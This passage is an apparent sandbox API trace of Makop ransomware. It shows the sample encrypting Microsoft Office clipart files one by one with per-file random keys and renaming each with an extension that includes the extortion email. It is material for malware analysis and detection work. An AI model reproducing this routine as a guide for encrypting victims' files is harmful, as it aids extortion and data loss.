[0127.280] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x99a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185786.WMF", cAlternateFileName="")) returned 1 [0127.280] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0127.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.281] GetProcessHeap () returned 0x48a0000 [0127.281] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.281] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.281] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.281] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0127.286] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.286] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.286] GetProcessHeap () returned 0x48a0000 [0127.286] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.286] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.286] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.286] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.287] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.287] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.287] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.287] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.287] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.287] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.287] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.287] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.288] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x99a2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x99a2, lpOverlapped=0x0) returned 1 [0127.289] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x99b0, dwBufLen=0x99b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x99b0) returned 1 [0127.290] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.290] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x99b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x99b0, lpOverlapped=0x0) returned 1 [0127.290] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.291] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.291] SetEndOfFile (hFile=0xf0) returned 1 [0127.298] GetProcessHeap () returned 0x48a0000 [0127.298] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.298] GetProcessHeap () returned 0x48a0000 [0127.298] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.298] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.298] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.300] CloseHandle (hObject=0xf0) returned 1 [0127.300] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x50b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185790.WMF", cAlternateFileName="")) returned 1 [0127.300] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0127.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.301] GetProcessHeap () returned 0x48a0000 [0127.301] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.301] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.302] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.302] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0127.309] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.309] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.309] GetProcessHeap () returned 0x48a0000 [0127.309] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.309] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.310] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.310] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.310] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.310] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.310] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.310] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.311] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.311] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.311] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.311] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.311] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x50b6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x50b6, lpOverlapped=0x0) returned 1 [0127.313] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x50c0, dwBufLen=0x50c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x50c0) returned 1 [0127.313] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.313] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x50c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x50c0, lpOverlapped=0x0) returned 1 [0127.313] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.313] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.313] SetEndOfFile (hFile=0xf0) returned 1 [0127.320] GetProcessHeap () returned 0x48a0000 [0127.321] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.321] GetProcessHeap () returned 0x48a0000 [0127.321] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.321] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.321] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.322] CloseHandle (hObject=0xf0) returned 1 [0127.322] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x650c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185796.WMF", cAlternateFileName="")) returned 1 [0127.322] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0127.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.323] GetProcessHeap () returned 0x48a0000 [0127.323] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.323] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.323] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.324] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.329] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.329] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.329] GetProcessHeap () returned 0x48a0000 [0127.329] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.329] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.329] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.329] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.329] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.329] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.329] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.330] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.330] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.330] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.330] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.330] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.330] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x650c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x650c, lpOverlapped=0x0) returned 1 [0127.332] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6510, dwBufLen=0x6510 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6510) returned 1 [0127.333] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.333] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6510, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6510, lpOverlapped=0x0) returned 1 [0127.333] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.333] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x65e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.333] SetEndOfFile (hFile=0xf0) returned 1 [0127.341] GetProcessHeap () returned 0x48a0000 [0127.341] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.341] GetProcessHeap () returned 0x48a0000 [0127.342] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.342] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.342] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.343] CloseHandle (hObject=0xf0) returned 1 [0127.343] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8420, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185798.WMF", cAlternateFileName="")) returned 1 [0127.343] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0127.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.344] GetProcessHeap () returned 0x48a0000 [0127.344] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.344] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.344] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.345] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.345] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.345] GetProcessHeap () returned 0x48a0000 [0127.345] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.345] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.345] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.345] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.350] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.350] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.350] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.350] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.350] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.350] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.350] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.351] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.351] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8420, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8420, lpOverlapped=0x0) returned 1 [0127.352] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8420, dwBufLen=0x8420 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8420) returned 1 [0127.353] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.353] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8420, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8420, lpOverlapped=0x0) returned 1 [0127.353] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.353] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x84f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.354] SetEndOfFile (hFile=0xf0) returned 1 [0127.361] GetProcessHeap () returned 0x48a0000 [0127.361] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.361] GetProcessHeap () returned 0x48a0000 [0127.361] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.361] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.362] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" 